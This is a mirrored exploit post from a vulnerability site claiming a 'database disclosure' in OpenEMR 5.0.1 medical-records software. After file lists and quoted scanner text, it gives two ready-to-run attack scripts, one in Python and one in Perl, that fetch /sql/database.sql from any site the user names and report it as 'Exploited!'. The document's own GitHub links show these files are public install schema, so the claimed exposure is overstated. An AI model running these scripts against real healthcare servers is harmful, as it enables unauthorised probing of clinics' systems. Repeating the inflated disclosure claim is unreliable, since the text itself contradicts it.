Open-EMR HealthCare Software 5.0.1 Database Disclosure - CXSecurity.com

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1626144 漏洞类型
发布时间 2019-06-02 更新时间 2019-06-02
CVE编号 N/A CNNVD-ID N/A
漏洞平台 N/A CVSS评分 N/A
|漏洞来源
https://cxsecurity.com/issue/WLB-2019060004
|漏洞详情
漏洞细节尚未披露
|漏洞EXP
###########################################################################

# Exploit Title : Open-EMR HealthCare Software 5.0.1 Database Disclosure
# Author [ Discovered By ] : KingSkrupellos
# Team : Cyberizm Digital Security Army
# Date : 01/06/2019
# Vendor Homepage : open-emr.org
# Software Download Links : open-emr.org/wiki/index.php/OpenEMR_Downloads
sourceforge.net/projects/openemr/
github.com/openemr/openemr/archive/master.zip
# Software Information Links : open-emr.org/wiki/index.php/Release_Features
github.com/openemr/openemr
# Software Version : 5.0.1 and all previous versions
# Tested On : Windows and Linux
# Category : WebApps
# Exploit Risk : Medium
# Vulnerability Type : 
CWE-200 [ Information Exposure ]
CWE-538 [ File and Directory Information Exposure ]
# PacketStormSecurity : packetstormsecurity.com/files/authors/13968
# CXSecurity : cxsecurity.com/author/KingSkrupellos/1/
# Exploit4Arab : exploit4arab.org/author/351/KingSkrupellos
# Acunetix Reference Link About => [ phpMyAdmin SQL Dump File ]
acunetix.com/vulnerabilities/web/phpmyadmin-sql-dump/
# Acunetix Reference Link About : [ Possible Database Backup File ]
acunetix.com/vulnerabilities/web/possible-database-backup/

###########################################################################

# Information about Software :
****************************
OpenEMR is the most popular open source electronic health records and medical practice 

management solution. ONC certified with international usage, OpenEMR's goal is a superior alternative 

to its proprietary counterparts. With passionate volunteers and contributors dedicated to guarding

OpenEMR's status as a free, open source software solution for medical practices with 

a commitment to openness, kindness and cooperation.

###########################################################################

# Impact :
***********
* The product stores sensitive information in files or directories that are accessible 

to actors outside of the intended control sphere.

* An information exposure is the intentional or unintentional disclosure of information 

to an actor that is not explicitly authorized to have access to that information.

* phpMyAdmin is a free software tool written in PHP, intended to handle the administration of 

MySQL over the World Wide Web. It can be used to dump a database or a collection of 

databases for backup or transfer to another SQL server (not necessarily a MySQL server). 

The dump typically contains SQL statements to create the table, populate it, or both. 

This file contains an phpMyAdmin SQL dump. This information is highly sensitive and 

should not be found on a production system.

* It looks like this file contains a database backup/dump. 

Acunetix inferred this filename from the domain name. A database backup contains a record of the

 table structure and/or the data from a database and is usually in the form of a list of SQL statements. 

A database backup is most often used for backing up a database so that its contents can be restored 

in the event of data loss. This information is highly sensitive and should never be found on a production system.

Remediation : Sensitive files such as database backups should never be stored in a directory that is accessible 

to the web server. As a workaround, you could restrict access to this file.

###########################################################################

Other Files :
*************
2_6_0-to-2_6_1_upgrade.sql
2_6_1-to-2_6_5_upgrade.sql
2_6_5-to-2_7_0_upgrade.sql
2_7_0-to-2_7_2_upgrade.sql
2_7_2-to-2_7_3_upgrade.sql
2_7_3-to-2_8_0_upgrade.sql
2_8_0-to-2_8_1_upgrade.sql
2_8_1-to-2_8_2_upgrade.sql
2_8_2-to-2_8_3_upgrade.sql
2_8_3-to-2_9_0_upgrade.sql
2_9_0-to-3_0_0_upgrade.sql
3_0_0-to-3_0_1_upgrade.sql
3_0_1-to-3_1_0_upgrade.sql
3_1_0-to-3_2_0_upgrade.sql
3_2_0-to-4_0_0_upgrade.sql
4_0_0-to-4_1_0_upgrade.sql
4_1_0-to-4_1_1_upgrade.sql
4_1_1-to-4_1_2_upgrade.sql
4_1_2-to-4_2_0_upgrade.sql
4_2_0-to-4_2_1_upgrade.sql
4_2_1-to-4_2_2_upgrade.sql
4_2_2-to-5_0_0_upgrade.sql
5_0_0-to-5_0_1_upgrade.sql
5_0_1-to-5_0_2_upgrade.sql
cvx_codes.sql
database.sql
database_de_identification.sql
defaults.sql
example_patient_data.sql
example_patient_users.sql
icd9-codes-insert.sql
icd9-codes-replace.sql
ins_lang_def_nl.sql
ippf_layout.sql
ippf_upgrade.sql
metadata_de_identification.txt
official_additional_users.sql
openemr-ea-mixed-complete.sql	
patch.sql

###########################################################################

File :
******
/sql/database.sql

Significant Informations :
*********************
--
-- Database: `openemr`
--

-- Table structure for table `config`

-- Table structure for table `config_seq`

raw.githubusercontent.com/openemr/openemr/master/sql/database.sql

File :
*******
/sql/ins_lang_def_nl.sql

Information :
**************
-- MySQL dump 10.9
--
-- Host: localhost    Database: openemrdbc

raw.githubusercontent.com/openemr/openemr/master/sql/ins_lang_def_nl.sql

###########################################################################

# Database Disclosure Information Exposure Exploit 1 :
***********************************************
#!/usr/bin/python
import string
import re
from urllib2 import Request, urlopen
disc = "/sql/database.sql"
url = raw_input ("URL: ")
req = Request(url+disc)
rta = urlopen(req)
print "Result"
html = rta.read()
rdo = str(re.findall("resources.*=*", html))
print rdo
exit

###########################################################################

# Database Disclosure Information Exposure Exploit 2 :
***********************************************
#!/usr/bin/perl -w
# Author : KingSkrupellos
# Team : Cyberizm Digital Security Army

use LWP::Simple;
use LWP::UserAgent;

system('cls');
system('Open-EMR HealthCare Software 5.0.1 Database Disclosure Exploit');
system('color a');


if(@ARGV < 2)
{
print "[-]How To Use\n\n";
&help; exit();
}
sub help()
{
print "[+] usage1 : perl $0 site.com /path/ \n";
print "[+] usage2 : perl $0 localhost / \n";
}
($TargetIP, $path, $File,) = @ARGV;

$File="sql/database.sql";
my $url = "http://" . $TargetIP . $path . $File;
print "\n Wait Please Dear Hacker!!! \n\n";

my $useragent = LWP::UserAgent->new();
my $request = $useragent->get($url,":content_file" => "D:/sql/database.sql");

if ($request->is_success)
{
print "[+] $url Exploited!\n\n";
print "[+] Database saved to D:/sql/database.sql\n";
exit();
}
else
{
print "[!] Exploiting $url Failed !\n[!] ".$request->status_line."\n";
exit();
}

###########################################################################

# Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team 

###########################################################################